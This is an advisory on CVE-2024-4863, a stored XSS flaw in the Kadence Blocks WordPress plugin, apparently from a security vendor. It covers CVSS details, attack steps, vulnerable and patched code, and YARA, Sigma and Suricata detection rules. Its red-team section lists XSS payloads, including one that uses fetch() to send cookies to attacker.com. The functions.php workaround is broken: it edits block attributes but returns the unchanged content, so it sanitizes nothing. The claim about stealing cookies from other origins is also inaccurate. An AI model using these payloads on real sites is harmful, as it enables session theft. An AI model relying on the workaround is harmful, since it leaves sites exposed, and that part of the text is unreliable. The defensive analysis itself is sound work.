CVE-2024-4863

Executive Summary

CVE-2024-4863 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kadence Blocks – Gutenberg Blocks for Page Builder Features plugin for WordPress. The flaw resides in the titleFont parameter, which is insufficiently sanitized and escaped before being stored in the database. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript or HTML into posts or pages. When any user (including administrators) views the compromised content, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability affects all versions of the plugin up to and including 3.2.38. As of this report, no official patch has been released by the vendor, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time, but the risk remains significant for sites with untrusted contributors.

WordPress Ecosystem Context

This is a WordPress plugin vulnerability. The issue is entirely within the Kadence Blocks plugin’s codebase and is not related to the underlying web server (Apache or Nginx). The attack vector relies on WordPress’s built-in user roles and the plugin’s failure to properly sanitize user-supplied input.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – an attacker needs Contributor-level access or higher.
• User Interaction (UI): None – the victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other origins).
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used page builder plugin makes this a serious concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability exists in the titleFont parameter of the Kadence Blocks plugin. When a user creates or edits a block (e.g., a heading or text block), the plugin stores the titleFont value in the post meta or block attributes. The plugin fails to sanitize this input using functions like sanitize_text_field() or wp_kses_post() and does not escape the output when rendering the block on the front end.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates a new post or page.
2. The attacker inserts a Kadence block that accepts a titleFont parameter.
3. The attacker injects a malicious payload into the titleFont field, such as: " onmouseover="alert('XSS')".
4. The plugin stores this payload in the database without sanitization.
5. When any user (including administrators) views the post, the payload is rendered in the HTML without escaping, causing the script to execute.

Root Cause: Insufficient input sanitization and output escaping. The plugin likely uses echo $titleFont; instead of echo esc_attr($titleFont); or similar safe output functions.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.38):

// In the block render callback
$title_font = $attributes['titleFont'] ?? '';
echo '<div class="kadence-title" style="font-family: ' . $title_font . ';">' . $content . '</div>';

Patched Code (Hypothetical):

// Properly sanitize and escape
$title_font = isset($attributes['titleFont']) ? sanitize_text_field($attributes['titleFont']) : '';
echo '<div class="kadence-title" style="font-family: ' . esc_attr($title_font) . ';">' . esc_html($content) . '</div>';

Key Differences:

• sanitize_text_field() removes dangerous characters.
• esc_attr() escapes the value for safe use in an HTML attribute.
• esc_html() escapes the content for safe use in HTML body.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with Kadence Blocks plugin version <= 3.2.38.
• An account with Contributor-level privileges or higher.

Steps:

1. Log in as a Contributor.
2. Create a new post.
3. Add a Kadence Heading block.
4. In the block settings, locate the titleFont field (or similar).
5. Inject the following payload: " onfocus="alert(document.cookie)" autofocus="
6. Publish or save the post.
7. When any user views the post, the script executes.

Example Payloads:

• " onmouseover="alert('XSS')"
• " onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="

Note: No public exploit code is available, so this is a theoretical simulation.

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing suspicious titleFont values in the wp_postmeta table.
• Look for unusual JavaScript in block attributes.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin that scans for malicious content.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified or suspicious entries in wp_postmeta where meta_key contains kadence and meta_value includes <script> or event handlers like onmouseover.
• Network Indicators:
  • Outbound connections to known malicious domains from the WordPress server.
• Log Indicators:
  • WordPress audit logs showing posts created by low-privilege users with unusual block attributes.
• Behavioral Indicators:
  • Unexpected JavaScript execution on pages containing Kadence blocks.

Detection Engineering

YARA Rule

rule CVE_2024_4863_Kadence_XSS {
    meta:
        description = "Detects stored XSS payloads in Kadence Blocks titleFont parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4863"
    strings:
        $payload1 = /titleFont["\s]*=>["\s]*[^"]*["\s]*on\w+=/ nocase
        $payload2 = /titleFont["\s]*=>["\s]*[^"]*["\s]*<script/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-4863 - Stored XSS in Kadence Blocks Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the titleFont parameter in Kadence Blocks
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-json/wp/v2/posts"
        http.body|contains: "titleFont"
        http.body|contains|re: "(on\w+=|<script)"
    condition: selection
falsepositives:
    - Legitimate use of font names containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4863 - Kadence Blocks Stored XSS"; flow:to_server; content:"titleFont"; http_client_body; pcre:"/(on\w+=|<script)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Kadence Blocks plugin until a patch is released.
2. Review and remove any posts created by untrusted contributors that may contain malicious payloads.
3. Implement a Web Application Firewall (WAF) with rules to block XSS patterns in POST requests.

Long-Term Fix:

• The vendor must release a patched version (e.g., 3.2.39) that properly sanitizes and escapes the titleFont parameter.
• As a workaround, site administrators can add custom code to their theme’s functions.php to sanitize the parameter before it is stored:

add_filter('render_block', function($block_content, $block) {
    if (isset($block['attrs']['titleFont'])) {
        $block['attrs']['titleFont'] = sanitize_text_field($block['attrs']['titleFont']);
    }
    return $block_content;
}, 10, 2);

User Education:

• Train content creators to avoid using special characters in font fields.
• Enforce the principle of least privilege: only grant Contributor access to trusted users.

Valters IT
Securing WordPress Ecosystems